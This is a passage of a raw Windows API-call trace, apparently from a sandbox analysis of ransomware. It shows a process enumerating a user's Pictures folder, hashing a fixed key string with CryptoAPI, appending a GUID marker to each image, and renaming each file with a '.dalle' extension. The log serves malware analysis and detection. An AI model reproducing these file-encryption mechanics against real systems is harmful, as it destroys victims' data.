lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.787] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.787] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.787] CloseHandle (hObject=0x618) returned 1 [0120.788] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\jppO8iseUv.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jppo8iseuv.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\jppO8iseUv.bmp.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jppo8iseuv.bmp.dalle")) returned 1 [0120.790] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc31e50a0, ftCreationTime.dwHighDateTime=0x1d4c6ae, ftLastAccessTime.dwLowDateTime=0x2f925600, ftLastAccessTime.dwHighDateTime=0x1d4c808, ftLastWriteTime.dwLowDateTime=0x2f925600, ftLastWriteTime.dwHighDateTime=0x1d4c808, nFileSizeHigh=0x0, nFileSizeLow=0xc97f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LtV7_Xi9cOpTXz1QsNs.jpg", cAlternateFileName="LTV7_X~1.JPG")) returned 1 [0120.790] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\LtV7_Xi9cOpTXz1QsNs.jpg") returned=".jpg" [0120.790] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\LtV7_Xi9cOpTXz1QsNs.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ltv7_xi9coptxz1qsns.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.790] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=51583) returned 1 [0120.790] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.791] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xc959, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.791] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.792] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0xc97f, lpOverlapped=0x0) returned 1 [0120.793] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.793] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.793] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.793] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c10d8) returned 1 [0120.794] CryptCreateHash (in: hProv=0x6c10d8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.794] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.794] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.794] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.794] GetLastError () returned 0x0 [0120.794] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.794] CryptReleaseContext (hProv=0x6c10d8, dwFlags=0x0) returned 1 [0120.795] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xc97f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.795] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.795] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.795] CloseHandle (hObject=0x618) returned 1 [0120.796] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\LtV7_Xi9cOpTXz1QsNs.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ltv7_xi9coptxz1qsns.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\LtV7_Xi9cOpTXz1QsNs.jpg.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ltv7_xi9coptxz1qsns.jpg.dalle")) returned 1 [0120.797] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43f42ea0, ftCreationTime.dwHighDateTime=0x1d4c8e1, ftLastAccessTime.dwLowDateTime=0x381dc1b0, ftLastAccessTime.dwHighDateTime=0x1d4ca47, ftLastWriteTime.dwLowDateTime=0x381dc1b0, ftLastWriteTime.dwHighDateTime=0x1d4ca47, nFileSizeHigh=0x0, nFileSizeLow=0xaae5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="lvjoq7Ac0y5wIsBJa.png", cAlternateFileName="LVJOQ7~1.PNG")) returned 1 [0120.797] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\lvjoq7Ac0y5wIsBJa.png") returned=".png" [0120.797] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\lvjoq7Ac0y5wIsBJa.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\lvjoq7ac0y5wisbja.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.797] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=43749) returned 1 [0120.797] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.798] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xaabf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.798] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.800] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0xaae5, lpOverlapped=0x0) returned 1 [0120.801] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.801] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.801] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.801] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c10d8) returned 1 [0120.802] CryptCreateHash (in: hProv=0x6c10d8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.802] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.802] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.802] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.802] GetLastError () returned 0x0 [0120.802] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.802] CryptReleaseContext (hProv=0x6c10d8, dwFlags=0x0) returned 1 [0120.802] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xaae5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.802] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.802] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.802] CloseHandle (hObject=0x618) returned 1 [0120.803] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\lvjoq7Ac0y5wIsBJa.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\lvjoq7ac0y5wisbja.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\lvjoq7Ac0y5wIsBJa.png.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\lvjoq7ac0y5wisbja.png.dalle")) returned 1 [0120.804] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf784aeb0, ftCreationTime.dwHighDateTime=0x1d4c8e9, ftLastAccessTime.dwLowDateTime=0x35c4efb0, ftLastAccessTime.dwHighDateTime=0x1d4ca6a, ftLastWriteTime.dwLowDateTime=0x35c4efb0, ftLastWriteTime.dwHighDateTime=0x1d4ca6a, nFileSizeHigh=0x0, nFileSizeLow=0x18cc9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MhWRB9plYFucf8hAPu.bmp", cAlternateFileName="MHWRB9~1.BMP")) returned 1 [0120.804] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\MhWRB9plYFucf8hAPu.bmp") returned=".bmp" [0120.804] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\MhWRB9plYFucf8hAPu.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\mhwrb9plyfucf8hapu.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.805] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=101577) returned 1 [0120.805] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.806] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x18ca3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.806] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.807] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x18cc9, lpOverlapped=0x0) returned 1 [0120.808] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.808] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.808] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.808] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c10d8) returned 1 [0120.809] CryptCreateHash (in: hProv=0x6c10d8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.809] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.809] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.809] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.809] GetLastError () returned 0x0 [0120.809] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.809] CryptReleaseContext (hProv=0x6c10d8, dwFlags=0x0) returned 1 [0120.810] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x18cc9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.810] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.810] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.810] CloseHandle (hObject=0x618) returned 1 [0120.811] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\MhWRB9plYFucf8hAPu.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\mhwrb9plyfucf8hapu.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\MhWRB9plYFucf8hAPu.bmp.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\mhwrb9plyfucf8hapu.bmp.dalle")) returned 1 [0120.813] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8be6800, ftCreationTime.dwHighDateTime=0x1d4cab5, ftLastAccessTime.dwLowDateTime=0x496d7850, ftLastAccessTime.dwHighDateTime=0x1d4cd91, ftLastWriteTime.dwLowDateTime=0x496d7850, ftLastWriteTime.dwHighDateTime=0x1d4cd91, nFileSizeHigh=0x0, nFileSizeLow=0xf511, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nqOPg0wxa3Z.bmp", cAlternateFileName="NQOPG0~1.BMP")) returned 1 [0120.813] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nqOPg0wxa3Z.bmp") returned=".bmp" [0120.813] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nqOPg0wxa3Z.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\nqopg0wxa3z.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.813] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=62737) returned 1 [0120.813] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.814] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xf4eb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.814] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.817] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0xf511, lpOverlapped=0x0) returned 1 [0120.818] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.818] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.818] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.818] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0da8) returned 1 [0120.819] CryptCreateHash (in: hProv=0x6c0da8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.819] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.819] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.819] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.819] GetLastError () returned 0x0 [0120.819] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.819] CryptReleaseContext (hProv=0x6c0da8, dwFlags=0x0) returned 1 [0120.820] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xf511, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.820] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.820] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.820] CloseHandle (hObject=0x618) returned 1 [0120.821] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nqOPg0wxa3Z.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\nqopg0wxa3z.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nqOPg0wxa3Z.bmp.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\nqopg0wxa3z.bmp.dalle")) returned 1 [0120.822] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x472f5d90, ftCreationTime.dwHighDateTime=0x1d4cc30, ftLastAccessTime.dwLowDateTime=0x3d12e740, ftLastAccessTime.dwHighDateTime=0x1d4d3d9, ftLastWriteTime.dwLowDateTime=0x3d12e740, ftLastWriteTime.dwHighDateTime=0x1d4d3d9, nFileSizeHigh=0x0, nFileSizeLow=0xd4dd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="oIFGYUZwA9gCm l_aOn.gif", cAlternateFileName="OIFGYU~1.GIF")) returned 1 [0120.822] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\oIFGYUZwA9gCm l_aOn.gif") returned=".gif" [0120.822] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\oIFGYUZwA9gCm l_aOn.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\oifgyuzwa9gcm l_aon.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.823] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=54493) returned 1 [0120.823] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.824] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xd4b7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.824] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.825] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0xd4dd, lpOverlapped=0x0) returned 1 [0120.826] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.826] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.826] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.826] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c10d8) returned 1 [0120.827] CryptCreateHash (in: hProv=0x6c10d8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.827] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.827] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.827] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.827] GetLastError () returned 0x0 [0120.827] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.827] CryptReleaseContext (hProv=0x6c10d8, dwFlags=0x0) returned 1 [0120.828] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xd4dd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.828] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.828] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.828] CloseHandle (hObject=0x618) returned 1 [0120.829] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\oIFGYUZwA9gCm l_aOn.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\oifgyuzwa9gcm l_aon.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\oIFGYUZwA9gCm l_aOn.gif.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\oifgyuzwa9gcm l_aon.gif.dalle")) returned 1 [0120.830] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcea6b1e0, ftCreationTime.dwHighDateTime=0x1d4c57a, ftLastAccessTime.dwLowDateTime=0x7d523300, ftLastAccessTime.dwHighDateTime=0x1d4cad9, ftLastWriteTime.dwLowDateTime=0x7d523300, ftLastWriteTime.dwHighDateTime=0x1d4cad9, nFileSizeHigh=0x0, nFileSizeLow=0x5c68, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Oj9EUJHKpsOfq.jpg", cAlternateFileName="OJ9EUJ~1.JPG")) returned 1 [0120.830] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Oj9EUJHKpsOfq.jpg") returned=".jpg" [0120.830] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Oj9EUJHKpsOfq.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\oj9eujhkpsofq.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.830] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=23656) returned 1 [0120.830] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.832] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x5c42, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.832] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.833] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x5c68, lpOverlapped=0x0) returned 1 [0120.834] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.834] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.834] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.834] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c10d8) returned 1 [0120.835] CryptCreateHash (in: hProv=0x6c10d8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.835] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.835] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.835] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.835] GetLastError () returned 0x0 [0120.835] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.835] CryptReleaseContext (hProv=0x6c10d8, dwFlags=0x0) returned 1 [0120.835] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x5c68, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.835] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.835] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.835] CloseHandle (hObject=0x618) returned 1 [0120.836] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Oj9EUJHKpsOfq.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\oj9eujhkpsofq.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS 